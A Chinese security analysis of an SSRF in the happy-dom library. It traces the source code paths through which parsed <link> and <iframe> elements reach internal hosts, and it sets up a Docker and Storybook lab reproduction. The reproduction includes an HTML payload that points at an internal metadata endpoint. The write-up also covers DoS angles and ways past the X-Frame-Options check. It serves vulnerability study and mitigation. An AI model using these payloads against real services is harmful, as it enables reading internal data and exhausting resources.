另外,它是用计算属性名定义的方法,源码里不会以 connectedToNode() 这种普通调用形式出现,按方法名去搜索或按普通方法整理调用关系时都容易漏掉它。所以"调用关系里看不到这条边"不等于"它不会执行",确认它只能靠动态栈和时序日志。

4.4 一路绿灯的安检:Fetch.send

请求真正发出之前,会经过 Fetch.send。这个函数几乎把浏览器该有的机制都实现了一遍——referrer 整理、请求头、拦截器、协议校验、中止信号、data: 处理、Mixed Content、缓存、预加载、虚拟服务器、CORS——十三道检查,看着十分完整。

public async send(): Promise<Response> {
    FetchRequestReferrerUtility.prepareRequest(new URL(this.#window.location.href), this.request);
    if (this.requestHeaders) { ... }
    if (this.interceptor?.beforeAsyncRequest) { ... }
    FetchRequestValidationUtility.validateSchema(this.request);
    if (this.request.signal[PropertySymbol.aborted]) { ... }
    if (this.request[PropertySymbol.url].protocol === 'data:') { ... }
    if (http && window.https) { throw MixedContent; }
    if (!this.disableCache) { ... }
    if (!this.disablePreload) { ... }
    if (virtualServerResponse) { return ...; }
    if (!this.disableSameOriginPolicy) { ... CORS ... }
    return await this.sendRequest();
}

这些检查按顺序走下来,可以分成三组。

前几道在把请求整理成能直接发出去的样子:请求对象必过,referrer 按 strict-origin-when-cross-origin 整理,自定义请求头默认 null,拦截器默认 null,协议校验只放行 data:/http:/https:(file: 之类直接拒绝)。这几道里,只有协议校验会拦人。

中间几道是浏览器的特例处理:中止信号默认未触发;data: 走 DataURIParser,不产生网络;Mixed Content 只在 https 页面访问 http 目标时抛错;响应缓存按 page 级判断,命中就不出网;预加载在样式表路径被显式关掉;虚拟服务器默认 null,不映射到本地文件。

最后两道才决定走向:CORS 因为逐请求传进来的 true 被整段跳过,然后无条件走到 sendRequest。

一路读下来会发现一个结构性的事实:这里实现的都是"浏览器语义",唯独没有实现"目标可信"。referrer、CORS、缓存、预加载、Mixed Content 一应俱全,但没有一条在问"这个 host 是不是内网、这个端口该不该连、这个 scheme 允不允许发"。这不是遗漏,而是设计目标不同——happy-dom 假设自己身处浏览器,目标由页面作者选择,它没有"服务端代理"这个威胁模型。

有三点需要单独说明。

CORS 拦的不是"发请求",而是"读响应"。 即便把同源策略恢复成开启,请求也已经到达目标了,预检的 OPTIONS 本身同样是一次出网。所以关掉 CORS 只是让响应可读,它不是 SSRF 成立的必要条件。

interceptor** 是唯一可加装的策略点,而它默认是 null。** 它能拿到请求 URL、能直接返回一个 Response 短路、也能改写响应,是应用侧最现实的缓解手段。但"不配置"就等于"不存在"。

缓存和预加载会让"没命中"不等于"没尝试"。 样式表路径显式关掉了预加载,但响应缓存仍可能命中;iframe 路径两者都可能参与。对检测方来说,"目标没收到请求"有可能只是缓存命中,不能据此判断"没有攻击意图"。

还有一个与浏览器语义的偏离值得一提:浏览器的 CORS 预检由浏览器发起、结果由浏览器执行,而 happy-dom 的预检会另起一次 OPTIONS。两条路径都跳过了同源检查,所以目标侧只会看到 GET,看不到预检——既少了预检这层语义,也少了一次暴露。

4.5 唯一的出口:Fetch.sendRequest

再往下就是整条链上唯一真正出网的函数。

private sendRequest(): Promise<Response> {
    return new Promise((resolve, reject) => {
        const taskID = this.#browserFrame[PropertySymbol.asyncTaskManager].startTask(() =>
            this.onAsyncTaskManagerAbort()
        );
        ...
        const send = (this.request[PropertySymbol.url].protocol === 'https:' ? HTTPS : HTTP).request;
        this.nodeRequest = send(this.request[PropertySymbol.url].href, {
            method: this.request.method,
            headers: FetchRequestHeaderUtility.getRequestHeaders({...}),
            agent: false,
            rejectUnauthorized: !this.#browserFrame.page.context.browser.settings.fetch.disableStrictSSL,
            key: ...FetchHTTPSCertificate.key,
            cert: ...FetchHTTPSCertificate.cert
        });
        ...
        if (this.request.body === null) {
            this.nodeRequest.end();
        } else {
            Stream.pipeline(this.request.body, this.nodeRequest, ...);
        }
    });
}

它拿到的已经是一个规范化完毕的 URL 对象。"该不该发、发给谁、带什么"全部在上游决定完了,这里只负责发。它没有上下文去判断目标是否内网,也没有策略层可以调用。

这个函数里的几件事,安全上的分量并不一样:

  • 它在所属 frame 的 AsyncTaskManager 上登记一个任务,abort 时回调,让 waitUntilComplete 能等到、close() 能取消——这一层是生命周期管理,不是安全边界;

  • 它生成 UA、Accept、Referer、Cookie 等请求头,其中 UA 带着 HappyDOM/20.14.6,所以流量是可归因的(这一点在检测侧很有用);

  • 它按 scheme 在 https 和 http 模块之间选一个;

  • 它把 agent 设为 false,不复用连接池,每个请求都新建 TCP,并发 iframe 时成本会更高;

  • 它默认严格校验 TLS(rejectUnauthorized),只有 disableStrictSSL 才能关掉——关掉会引入中间人风险,但与 SSRF 无关;

  • HTTPS 请求用的是内置测试证书,那是测试便利,不是信任判断;

  • 请求没有 body 时直接 end(),方法固定为 GET。

真正重要的是它没有什么:没有 DNS 解析后的地址校验(不排除 127/8、10/8、172.16/12、192.168/16、169.254/16),没有端口白名单,没有 host 白名单,没有响应大小上限,也没有超时。DNS 解析、路由、建连全部交给操作系统,所以回环地址、内网任意主机、云元数据端点都在可达范围内。

超时这一条尤其值得展开,因为它暴露了一个非对称:超时不是这个函数的属性,而是调用方的责任。

样式表那条路径从 ResourceFetch.fetch 一路走到 sendRequest,中间没有任何 AbortController 或 timeout。目标永不响应时,任务管理器上的任务永远不会结束,await page.waitUntilComplete() 就会一直等下去——对攻击者,这是一个可以无限期占用资源的 DoS 面。

iframe 那条路径不同:navigate 自己建了 30 秒的 AbortController,把它作为 signal 传给 Fetch,超时 abort 会让这个 Promise 拒绝,navigate 捕获后收尾。所以同样是这个出口,一条路径没有上限,另一条有 30 秒上限。

也正因为如此,第三章复现实验里要用 Promise.race([waitUntilComplete(), 超时]) 兜底,也说明"在出口统一加超时"并没有想象中简单——样式表路径的调用方根本没有传超时机制。

至于重定向,它发生在 onResponse / handleRedirectResponse 里:默认跟随、最多 20 跳,每一跳都是一次真实请求,而且会把 disableSameOriginPolicy 一并沿用到下一跳。这段逻辑是第六章"方向二"的主战场,这里先记下结论。

4.6 <link>:三行分派,六道闸门

4.6.1 分派:HTMLLinkElement.[connectedToDocument]

连接回调落到 HTMLLinkElement 身上,就是三行代码:

public override [PropertySymbol.connectedToDocument](): void {
    super[PropertySymbol.connectedToDocument]();

    const rel = this.getAttribute('rel');
    const href = this.getAttribute('href');

    if (rel && href) {
        switch (rel) {
            case 'stylesheet':
                this.#loadStyleSheet(href);
                break;
            case 'modulepreload':
                this.#preloadModule(href);
                break;
            case 'preload':
                this.#preloadResource(href);
                break;
        }
    }

    this[PropertySymbol.ownerDocument][PropertySymbol.clearComputedStyleCache]();
}

它只读 rel 和 href 两个原始字符串,不做 URL 解析,不做 scheme/host 校验,也不判断目标是否可信、不检查 media、不认 <base>。所有规范化都推给下一层。

它是解析管线和网络栈之间唯一的 <link> 入口。没有它,<link> 只是一个属性容器。触发条件是"元素进场 + rel=stylesheet + href 非空",三项全部由攻击者的 HTML 控制——rel 在这里不是安全检查,它只是一个分派键。

调用方式是 fire-and-forget:#loadStyleSheet 是 async 函数,但没有被 await。解析不会被网络阻塞,请求却一定会启动。这制造了一个错觉——"赋值很快就返回了,应该没发请求"。

两个边界对攻击者是约束,对防御者却不是防线:

  • switch 是大小写敏感的单 token 比较,rel="STYLESHEET" 和 rel="preload stylesheet" 都不匹配。这与 HTML 规范(rel 是大小写不敏感的 token 集合)不一致,但攻击者写个小写单词就能命中,所以它不构成缓解;

  • href 为空或缺失时进不了 switch,只挡住了"没写 href"这一种形态。

同一个 switch 也出现在属性写入回调里。当元素已经连接时,setAttribute('href', ...) 就是有效扳机:先 append 一个没 href 的 link,稍后再设置 href,请求就出现在设置那一刻。它与连接回调的差别只在"谁先发生"——解析期属性写入早于连接,所以空跑;动态期元素已连接,所以直接生效。

4.6.2 放行:HTMLLinkElement.#loadStyleSheet

真正决定"发不发、发给谁、带什么凭据"的,是这个私有方法。

async #loadStyleSheet(url: string | null): Promise<void> {
    const window = this[PropertySymbol.window];
    const browserFrame = new WindowBrowserContext(window).getBrowserFrame();
    if (!browserFrame || url === null) { return; }
    const browserSettings = browserFrame.page.context.browser.settings;
    if (this[PropertySymbol.disableEvaluation] || !this[PropertySymbol.isConnected]) {
        return;
    }
    let absoluteURL: string;
    try { absoluteURL = new URL(url, window.location.href).href; }
    catch (error) { return; }
    if (this.#loadedStyleSheetURL === absoluteURL) { return; }
    if (browserSettings && browserSettings.disableCSSFileLoading) {
        ...
        return;
    }
    const resourceFetch = new ResourceFetch(window);
    const readyStateManager = window[PropertySymbol.readyStateManager];
    this.#loadedStyleSheetURL = absoluteURL;
    const taskID = readyStateManager.startTask();
    try {
        response = await resourceFetch.fetch(absoluteURL, 'style', {
            credentials: this.crossOrigin === 'use-credentials' ? 'include' : 'same-origin'
        });
    } catch (e) { error = <Error>e; }
    readyStateManager.endTask(taskID);
    ...
}

按顺序数,请求出门前要过六道:

  1. 取 browserFrame(428)。查不到说明窗口已销毁或未登记,静默返回;

  2. !browserFrame || url === null(430)。防御性判断,静默返回;

  3. disableEvaluation || !isConnected(436)。解析期属性写入在这里早退,入树之后重新进来;

  4. new URL(url, window.location.href)(442)。规范化地址,基址是窗口地址,<base> 被忽略;解析抛错也返回;

  5. 和 #loadedStyleSheetURL 比较(447)。同元素同 URL 只加载一次;

  6. disableCSSFileLoading(451)。唯一的配置闸门,不满足时记 console.error 并派发 error 事件。

这六道的顺序决定了它能拦什么、拦不住什么。

URL 解析在配置闸门之前。即使把加载关掉,absoluteURL 也会被算出来,错误消息里会带上它——"关门"发生在"看清目标"之后。

去重表的写入在闸门之后、fetch 之前。一旦通过闸门,这个 URL 就被预占了;如果 fetch 失败,该 URL 仍然算已加载,重连、重挂都不会重试。对攻击者,这是"每个元素每个 URL 只有一发";对防御者,这意味着"第二次渲染没有新请求"不能当成"没有意图"。

闸门之后没有任何 host/port/scheme 白名单。唯一的目标侧限制来自下游:validateSchema 只允许 data:/http:/https:,以及 Mixed Content 会在 https 页面访问 http 目标时拦一下。

disableCSSFileLoading 需要单独强调:它是一个行为开关,不是安全策略。它的语义是"要不要加载 CSS",不是"允许加载哪些目标"。置为 true 只是提前返回,不做目标校验,也不改变 DOM 解析。而且当 handleDisabledFileLoadingAsSuccess 为 true 时,被拦截反而会派发 load 事件——如果应用靠 load/error 做检测,这会把"被拦截"伪装成"成功"。

crossorigin 则是攻击者可以影响的凭据开关。credentials 由 this.crossOrigin === 'use-credentials' 决定,而 crossOrigin getter 直接读 crossorigin 属性:

  • 默认(不写或空)→ same-origin,跨源目标不带 cookie;

  • 写 crossorigin="use-credentials" → include,请求头工具会按目标 URL 去 cookie 容器里查并附带。默认场景下目标域没有 cookie,所以实测不带;但如果应用在同一个 BrowserContext 里为目标域设置过 cookie(比如先登录过内部系统),这个属性就能把"盲 GET"升级成"带凭据的盲 GET"。

4.6.3 盲:ResourceFetch.fetch

const fetch = new Fetch({
    browserFrame,
    window: this.window,
    url,
    disableSameOriginPolicy: destination === 'script' || destination === 'style',
    disablePreload: true,
    init: { credentials: options?.credentials, referrerPolicy: options?.referrerPolicy }
});
const response = await fetch.send();
if (!response.ok) { throw new DOMException(...); }
return { content: await response.text(), virtualServerFile: ... };

关掉同源策略的决定来自 destination,而不是攻击者。destination 是内部枚举:样式表加载写死 'style',脚本加载写死 'script',模块加载是 'module'。对前两者表达式恒为 true,对模块为 false。所以"跨源可读"是设计选择,不是配置泄漏。

真实浏览器里,CSS 和脚本本来就可以跨源加载,但不能读响应。happy-dom 把"可加载"和"可读"一起放开了,因为 CSS 解析需要拿到内容。这是语义模仿与安全边界之间的错位。

ok 检查是事后检查:send() 先执行,!response.ok 才抛错。所以 404、500 同样已经出网,抛错只影响"要不要把它当 CSS 解析",不影响"请求是否到达"。

响应回流之后,这个方法只做四件事:new CSSStyleSheet() → replaceSync(content) → 挂到 link.sheet 上 → 派发 load。响应体只进 CSS 解析器,不进 DOM,也不回显给应用。所以这条路径的观测面很窄:攻击者能确定拿到的只有目标侧的日志和副作用(任意 GET,路径和查询串完全可控)。load/error 事件、console.error 里的状态码与 URL、link.sheet.cssRules.length 反映出的规则数,以及整个过程的耗时,都要应用自己回显或暴露才有意义——其中耗时还能区分内网的"拒绝"和"超时"。

这就是为什么这条路径是盲 SSRF——"盲"不是实现缺陷,而是响应处置方式决定的。要读到内容,得看 <iframe> 那条线。


4.7 <iframe>:无条件进场,响应写回

4.7.1 扳机:HTMLIFrameElement.[connectedToDocument]

和 <link> 相比,iframe 的连接回调短得不像话:

public override [PropertySymbol.connectedToDocument](): void {
    super[PropertySymbol.connectedToDocument]();
    this.#loadPage();
}

它什么也不读:不判断有没有 src、不判断是不是 srcdoc、不解析 URL、不设门槛、也不等导航完成。所有决策都推给了 #loadPage。

正因为它是无条件调用,任何 <iframe> 进场都会走一遍加载流程,包括没有 src 的空 iframe。空 iframe 的后果不是"什么都不做":它会走 about:blank 分支,创建一个真实的子 BrowserFrame 和 BrowserWindow,等一帧后派发 load。攻击者可以用大量空 iframe 制造 frame、window 和动画帧的开销,即使一个网络请求都没有——这是一个独立于 SSRF 的资源耗尽面。

顺带说,super[...]() 必须在前。它保证 isConnected 已经为 true,否则下一层的连接检查会把导航挡回去,顺序反了导航永远不会发生。

除连接之外,还有几个等价入口:写入 srcdoc、写入非空的 src、移除 src/srcdoc,以及元素从文档中移除。前三个在元素已连接时都会重新走一遍加载流程,最后一个会卸载页面、销毁子 frame。

4.7.2 分流:HTMLIFrameElement.#loadPage

#loadPage(): void {
    if (!this[PropertySymbol.isConnected]) {
        this.#unloadPage();
        return;
    }
    const srcdoc = this.getAttribute('srcdoc');
    const window = this[PropertySymbol.window];
    const browserFrame = new WindowBrowserContext(window).getBrowserFrame();
    if (!browserFrame) { return; }
    if (srcdoc !== null) {
        if (this.#loadedSrcdoc === srcdoc) { return; }
        this.#unloadPage();
        this.#iframe = BrowserFrameFactory.createChildFrame(browserFrame);
        this.#iframe.url = 'about:srcdoc';
        ...
        this.#iframe.window.document.open();
        this.#iframe.window.document.write(srcdoc);
        ...
        return;
    }
    if (this.#loadedSrcdoc !== null) { this.#unloadPage(); }
    const originURL = browserFrame.window.location;
    const targetURL = BrowserFrameURL.getRelativeURL(browserFrame, this.src);
    if (this.#iframe && this.#iframe.window.location.href === targetURL.href) { return; }
    if (browserFrame.page.context.browser.settings.disableIframePageLoading) {
        ... console.error + error 事件 ...
        return;
    }
    const isSameOrigin = originURL.origin === targetURL.origin || targetURL.origin === 'null';
    const parentWindow = isSameOrigin ? window : new CrossOriginBrowserWindow(window);
    this.#iframe = this.#iframe ?? BrowserFrameFactory.createChildFrame(browserFrame);
    ...
    this.#iframe.goto(targetURL.href, { referrer: originURL.origin, referrerPolicy: this.referrerPolicy })
        .then(() => this.dispatchEvent(new Event('load')))
        .catch((error) => { ...; this.dispatchEvent(new Event('error')); });
}

这里的顺序值得逐条走一遍:

  1. 先看 isConnected。没连接就卸载页面再返回——所以解析期属性写入是空跑,入树后会重新进来;

  2. 再看能不能查到 frame。查不到说明窗口已销毁或未登记,静默返回;

  3. 然后看 srcdoc。它不为 null 就走本地渲染分支,**优先于 **src,而且在配置闸门之前;

  4. 如果是从上一次的 srcdoc 切回 src,先把旧页面卸载;

  5. 解析目标地址。相对 URL 依赖父 frame 的地址,<base> 被忽略,解析失败兜底到 about:blank;

  6. 如果现有子 frame 的地址已经等于目标地址,直接返回——每元素去重;

  7. 然后才是 disableIframePageLoading。这是唯一的配置闸门,不满足时记 console.error 并派发 error 事件;

  8. 接着判同源。跨源时给 contentWindow 包一层代理,只影响可见性;

  9. 建或复用子 frame,子 frame 由此进入 childFrames;

  10. 最后调 goto,失败则派发 error。导航细节在 4.7.4。

三条顺序性结论:

srcdoc 在闸门之前。 即使 disableIframePageLoading: true,srcdoc 仍然会渲染。这是"拦网络不拦本地内容"的设计,本身不算漏洞;但 srcdoc 里的 <iframe src> 和 <link> 会各自再走一遍自己的闸门。

URL 解析和去重都在闸门之前。 即使加载被禁用,targetURL 也会被算出来(错误消息里带它),去重表也可能因为之前一次成功导航而"粘住"。

闸门在建子 frame 之前。 被拦下的 src 不会创建新的子 frame;如果之前有 #iframe(比如从 srcdoc 切过来),前面的卸载已经把它销毁了。

去重是"预占式"的,这一点比看上去重要:

  • 同一元素、同一目标 URL,第二次直接返回;

  • 改成新 URL,复用已有子 frame 进入导航;

  • 导航失败之后,子 frame 的 window.location 在发请求前就被设成了目标 URL,失败后窗口仍在,于是这个比较成立,后续重试会被去重挡住。换句话说,"失败一次 = 这个元素对这个 URL 不再重试"。对检测方,"重放页面没有新请求"不等于"没有攻击"。

URL 解析是两段式的,先以元素所属 document 的地址为基址,再由 BrowserFrameURL.getRelativeURL 处理:空值给 about:blank,about:/javascript: 直接构造,其余以 frame 窗口地址为基址,失败兜底 about:blank。由此产生几个与浏览器的差异:相对 URL 落在 about:blank 基址上会静默退化成不导航(很容易被误判成"已拦截"),<base href> 被忽略,src="" 会解析成父文档地址,data: 会走完整导航管线但不产生网络。

disableIframePageLoading 的语义边界也要说清楚:它只决定"是否导航",不做目标校验。拦截时 console.error 的文本是 Failed to load iframe page "…". Iframe page loading is disabled.;error 事件是同步派发的,而正常的 load 在后续微任务或帧回调里。解析路径下,应用在赋值之后才挂监听,收不到这个同步事件——只靠元素事件做检测,会漏掉"被闸门拦下"的场景,但 console.error 仍会留痕。

另外,sandbox 不改变加载行为。写 sandbox 只触发一次 flag 合法性校验,它不阻止导航、不限制 src、也不改变同源判定。把 sandbox 当成加载门槛是错的。

4.7.3 结构:BrowserFrameFactory.createChildFrame

public static createChildFrame(parentFrame: IBrowserFrame): IBrowserFrame {
    const frame = new (<new (page: IBrowserPage) => IBrowserFrame>parentFrame.constructor)(
        parentFrame.page
    );
    (<IBrowserFrame>frame.parentFrame) = parentFrame;
    parentFrame.childFrames.push(frame);
    return frame;
}

它只做对象创建:用父 frame 的构造函数造一个真实的 BrowserFrame,设置 parentFrame,推进 parentFrame.childFrames。这个子 frame 自带 BrowserWindow、Document、AsyncTaskManager,与主 frame 同构。

它不碰网络,却是危害等级的放大器。page.mainFrame.childFrames 里存的是原始的 BrowserFrame 对象,不是 contentWindow 那层受限代理。跨源时,从 contentWindow 往外走处处碰壁:它的 document 是 undefined(代理上根本没有这个属性),contentDocument 是 null,读 location.href 会抛 SecurityError。但 frame 树绕开了这层代理——childFrames[i].window 是真实的 BrowserWindow,读它的 document.body.innerHTML 能拿到整个 body,读 childFrames[i].content 能拿到整个 outerHTML,而 page.frames 会把每一层递归列出来。

跨源保护只套在 iframe.contentWindow 上,frame 树不经过这层代理。原因很简单:这层代理的威胁模型是"页面脚本",而不是"宿主应用";但在服务端解析不可信 HTML 的场景里,宿主应用恰恰是被诱导去读取的一方。第三章里受害应用读 page.mainFrame.childFrames[0].window.document 而不是 iframe.contentDocument,就是这个原因。

生命周期上,移除 iframe 会触发卸载,进而销毁子 frame:abort 它的任务管理器、关闭窗口、从 childFrames 里删掉。请求如果已经发出,只能 abort 响应,撤不回已经到达目标的请求;导航到新 URL 时,旧的子 frame 子树会被销毁,避免残留。

4.7.4 导航:BrowserFrameNavigator.navigate

这是全链最长的一个函数,可以当成一条流水线,一段一段看。

预检。 跨源策略默认 anyOrigin,直接放行;改成 sameOrigin 时跨源子 frame 会停在 about:blank,请求数为零。disableChildFrameNavigation 为 true 时,只把地址设为目标、不发请求——它防的是"导航",不是"目标"。同文档的 hash 导航不发请求,javascript: 默认不执行。这两个都不是 SSRF 的绕过面,但很容易被误判为"已经导航"。

换窗口。 代码先新建 BrowserWindow,构造参数就是目标 URL,之后才构造 Fetch。这带来三个连锁后果:

  • 应用在赋值之后、请求完成之前,就能从 frames[0].url 读到内网地址;

  • Fetch 的 window 是这个新子窗口,它的 location.protocol 已经是目标协议,所以 Mixed Content 检查恒为假。https 页面里的 http iframe 仍会出网,这与 <link> 那条线正好相反(后者用的是主窗口);

  • 请求头工具用目标窗口自身的地址判断跨源,于是判断恒为 false。

超时。 建子 frame 时没有传 timeout,用的是默认 30 秒。定时器登记在子 frame 的任务管理器上,而 waitUntilComplete 会递归等待子 frame,所以目标挂起时,应用的等待会被拖住整整 30 秒。多个 iframe 并行就是多个 30 秒;响应体全量缓冲、没有大小上限;递归没有深度限制。三者叠加,构成"少量 HTML 换大量资源"的 DoS 面。

构造并发送请求。 这里的 disableSameOriginPolicy: true 是硬编码,不读配置。所以 iframe 路径的同源策略失效,与全局那个默认就是 false 的配置项无关——改全局值修不了它。browserFrame 传的是子 frame,任务因此登记在子 frame 上,这也是 waitUntilComplete 能等到它的原因。

事后检查 XFO。 顺序是先 await fetch.send(),再读 X-Frame-Options。也就是说,内容能不能写回是在请求到达之后才判断的。这个检查只对子 frame 生效,主 frame 导航根本不查;deny 一律拒绝,sameorigin 只在跨源时拒绝,两种结果都是"请求已经命中一次,body 留空";判断同源时用的是原始目标 URL,所以同源目标 302 到跨源的 SAMEORIGIN 时,检查会放行,内容照样写回;目标 origin 为 'null' 时直接视为同源,data:/about: 不受限制;至于 CSP 的 frame-ancestors,源码里根本没有实现。

所以 XFO 只能决定"内容能不能写回",不能阻止 SSRF;内网服务通常不返回它;即使返回,检查用的是原始地址,一次重定向就能绕过。把它当防线是这类分析中最常见的误读。

写回。 响应体最后在动画帧加 setImmediate 里执行 frame.content = responseText。这等于回到了 4.1 那个 setter:document.open() 清空、document.write() 重新解析。内网响应体作为 HTML 被二次解析,里面有 <iframe> 或 <link> 就再连接、再加载,形成递归。纯文本和 JSON 也不例外——解析器会为文档根补齐 documentElement/head/body,text/plain 的响应同样能逐字读出来。它不要求目标是 HTML 页面,内部 JSON 接口一样可读。

这里还有两个容易误判的点。非 2xx 只记 console.error、不抛错,404 的响应体照样写回;beforeContentCallback 在写回前调用,但返回值是 void,不能取消写入,它只能观察,不能阻断。

最后一件事是 iframe 请求的形状。实测请求头里没有 Origin,Referer 是目标自己的 origin。原因链是这样的:上层把父 frame 的 origin 作为 referrer 传下去,但 Fetch 的窗口已经是新子窗口(地址就是目标),referrer 整理时发现两者 origin 不同,于是返回 'client',再被解析成目标窗口地址,按 origin 策略发出。所以受害者 origin 不会通过 Referer 泄露给内网目标。没有 Origin 则是因为跨源判断用的是目标窗口自身。

cookie 也是同一套逻辑:按目标域去查容器。默认目标域没有 cookie,所以实测不带;但"不带"是环境属性,不是代码保证——只要同一个 BrowserContext 里为目标域设过 cookie,请求就会带上它。

4.7.5 为什么这条链"读得到":waitUntilComplete

iframe 路径和 <link> 路径共用同一个出口,差别全在响应去哪:一个进 CSS 解析器,一个进 frame.content。而后者之所以能稳定读出来,不是因为碰巧赶上了时序,而是因为任务管理器把它变成了确定性行为。

public async waitUntilComplete(): Promise<void> {
    await Promise.all([
        this[PropertySymbol.asyncTaskManager].waitUntilComplete(),
        ...this.childFrames.map((frame) => frame.waitUntilComplete())
    ]);
}

导航在子 frame 的任务管理器上登记了多类任务:旧窗口销毁、readyState、30 秒定时器、网络请求、响应体读取、写回解析。waitUntilComplete 会递归等到它们全部结束,所以应用"先等完成,再读 childFrames[0].window.document.body.innerHTML"的顺序,恰好落在"响应落地、写入、解析完成"之后。外泄不依赖竞态,这也是它比盲 SSRF 更难用时序手段缓解的原因。

一句话收束这一章:<link> 的终点是"请求发出",由那个唯一的网络出口决定;<iframe> 的终点是"内容进入应用可读的 DOM",由子 frame 和应用可见的 frame 树决定。前者只需要看一眼出口,后者要把写回路径一并看完。

4.8 回头再看这几个函数

把这些函数串起来,能提炼出四句可以直接用来判断同类问题的话。

解析不是纯函数。 在这套实现里,HTMLParser 的副作用不是"构建树",而是"连接即加载"。只要不可信 HTML 能进入解析器并使元素连接,就等价于一次外部资源解析——不管入口是 page.content、innerHTML 还是 DOMParser。

连接是唯一的扳机。 属性写入确实会调用加载函数,但被未连接状态挡住;真正触发的是"游离 → 连接"那一次边沿。这解释了为什么"解析即触发"和"写属性不触发"可以同时成立,也解释了为什么重复挂载不会重复请求,而移除再挂载会。

默认值就是策略。 disableCSSFileLoading 和 disableIframePageLoading 都是 opt-out,crossOriginPolicy 默认 anyOrigin,interceptor 默认 null。库里有的是"行为开关",没有"目标可信"这一层。

响应处置决定危害等级。 同一个网络出口,响应进 CSS 解析器是盲 SSRF,进 frame.content 就是可读加递归。只讲门槛、不讲响应去哪,会把一个可读 SSRF 讲成盲 SSRF;只讲出口、不讲回读面,又会把"能读"讲成"碰运气"。

这四句话也解释了第三章那个复现为什么能成立,以及第五章要换一个宿主时,该盯着哪些点看。


五、换个宿主:在引用 happy-dom 的其他项目里触发

第三章的复现是"我自己写了一个受害应用"。这容易被质疑:真实项目里未必有人这样写。所以这一章换一个宿主——不构造 Browser、不调用 page.content,让 DOM 完全由第三方框架在运行时提供,只把攻击者可控的 HTML 送进渲染管线。

Storybook 的测试链是一个合适的样本:它把 story 渲染进 canvasElement.innerHTML,而 vitest 的 environment: 'happy-dom' 让这个 innerHTML 落在一个由 happy-dom 提供的 document 上。于是第 4.1 节说的"第一类入口"——写进已经连接的位置——在完全真实的工程链路里被触发了。

5.1 漏洞在这条链路里的位置

根因在第二章已经拆过,这里只需要记住结论:21.0.0 之前,两个 disable 开关默认为 false,把 HTML 交给 happy-dom 就等于授权它去取里面的外部资源。这条链里没有任何一行代码是"开启了 SSRF"的——它是默认行为的直接后果。

放到 Storybook 场景里,完整链路是:

图 5-1 漏洞链路总览(图片:00-diagram-storybook-ssrf-chain.jpg)

触发条件只有两条:

  1. 运行链路使用 Storybook 官方 vitest 插件 + environment: 'happy-dom',且未设置 disable 开关;

  2. story 渲染攻击者可控的 HTML(例如"用户提交富文本"组件)。

两条同时满足时,vitest run 一执行,SSRF 就发生在 innerHTML 赋值的解析瞬间。注意这里没有 happy-dom 的显式 API 调用,也没有任何"解析不可信 HTML"的代码注释——这正是这类问题在真实项目里的样子:库被当作测试基础设施引入,加载行为跟着默认值一起被引入。

5.2 复现环境搭建

5.2.1 拓扑:一个受害进程 + 一个"够不着"的靶标

Docker Compose 起两个服务,同处 demo 网络:

服务

角色

网络暴露

app

受害者:Storybook 10 项目,执行官方测试链

不发布端口,一次性容器(compose run --rm)

intranet

靶标:模拟仅内网可达的敏感服务(云元数据替身)

不发布任何端口,仅服务名 intranet:3000 可解析

靶标不可达的理由和第三章完全一致:任何一次 [SSRF-HIT] 都只可能来自容器内进程发起的请求,排除人工 curl 或浏览器误触。区别在于,这一次发起请求的容器里跑的不是一个手写的 HTTP 服务,而是一整套 vitest + Storybook 测试链。

# docker-compose.yml(节选)
services:
  app:
    build: { context: ./app }
    environment:
      HAPPY_DOM_VERSION: ${HAPPY_DOM_VERSION:-17.6.3}
      HAPPY_DOM_SETTINGS: ${HAPPY_DOM_SETTINGS:-}
    networks: [demo]
    depends_on: [intranet]

  intranet:
    image: node:22-alpine
    command: node /app/server.js
    volumes: [./intranet/server.js:/app/server.js:ro]
    networks: [demo]          # 没有 ports:,宿主机无法直连

networks:
  demo: {}

5.2.2 受害项目:Storybook 测试链

app/package.json 固定了全部版本:

{
  "scripts": { "test": "vitest run" },
  "devDependencies": {
    "@storybook/addon-vitest": "10.6.5",
    "@storybook/html-vite": "10.6.5",
    "happy-dom": "17.6.3",
    "storybook": "10.6.5",
    "vitest": "4.1.12"
  }
}

happy-dom 是 vitest 的环境依赖,所以放在 devDependencies;在 Storybook 仓库自身它则是运行时依赖。无论依赖类型如何,vitest 的 happy-dom 环境取的就是依赖树里解析出来的那一份,装的是哪个版本直接决定是否受影响。

app/vitest.config.js 是整条链的开关所在:

import { defineProject } from 'vitest/config';
import { storybookTest } from '@storybook/addon-vitest/vitest-plugin';

export default defineProject({
  plugins: [storybookTest({ configDir: './.storybook' })],
  test: {
    name: 'storybook-happy-dom',
    environment: 'happy-dom',            // ← 漏洞触发点:DOM 由 Node 侧 happy-dom 提供
    environmentOptions: {
      happyDOM: {
        url: 'http://intranet:3000/story',   // 见 5.4 的说明
        settings: JSON.parse(process.env.HAPPY_DOM_SETTINGS || '{}'),
      },
    },
    browser: { enabled: false },         // 非浏览器模式,DOM 完全来自 happy-dom
    testTimeout: 15000,
  },
});

app/.storybook/main.js 用 @storybook/html-vite 框架并注册 @storybook/addon-vitest,保证 storybookTest 与真实项目同构。

5.2.3 PoC story:攻击者提交的 HTML

app/src/user-content.stories.js 模拟"渲染用户提交富文本"的组件:没有组件本体,只用 renderer 的最小等价形态把用户 HTML 送进 DOM。

const ATTACKER_HTML = [
  '<p>Great article, thanks!</p>',
  // 向量 1:<link rel=stylesheet>
  '<link rel="stylesheet" href="http://intranet:3000/attacker-probe.css">',
  // 向量 2:<iframe src>
  '<iframe src="http://intranet:3000/secret/metadata" title="user-video" width="1" height="1"></iframe>',
].join('\n');

const meta = {
  title: 'UserContent/Comment',
  render: (args) => args.html,   // renderToCanvas 会执行 canvasElement.innerHTML = args.html
  args: { html: ATTACKER_HTML },
};

play 函数负责取证:等待异步资源加载完成,读取 iframe.contentDocument,把取回的内容原样打印。两个向量分工不同——<link> 命中证明"解析即请求",<iframe> 命中证明"响应体被取回进程内并可读"。这正是 4.6.3 与 4.7.5 两条结论的现场验证。

5.2.4 内网靶标:不可直接访问的敏感服务

intranet/server.js 是一个二十来行的 HTTP 服务,固定 token 便于严格断言:

const SECRET_TOKEN = 'INTERNAL-ONLY-TOKEN-cve-2026-118660';

// /attacker-probe.css → 记录(vector: <link rel=stylesheet>)
// /secret/metadata    → 记录(vector: <iframe src>),返回
//   <html><body>SECRET: INTERNAL-ONLY-TOKEN-... (cloud-metadata-like internal data)</body></html>

每次命中打印一行 [SSRF-HIT] <时间> GET <路径> from <源IP> | internal-only service reached!,这行日志就是"服务端真的发出了请求"的物证。

5.3 复现步骤(实测记录)

5.3.1 环境检查

uname -a; head -2 /etc/os-release; docker --version; docker compose version

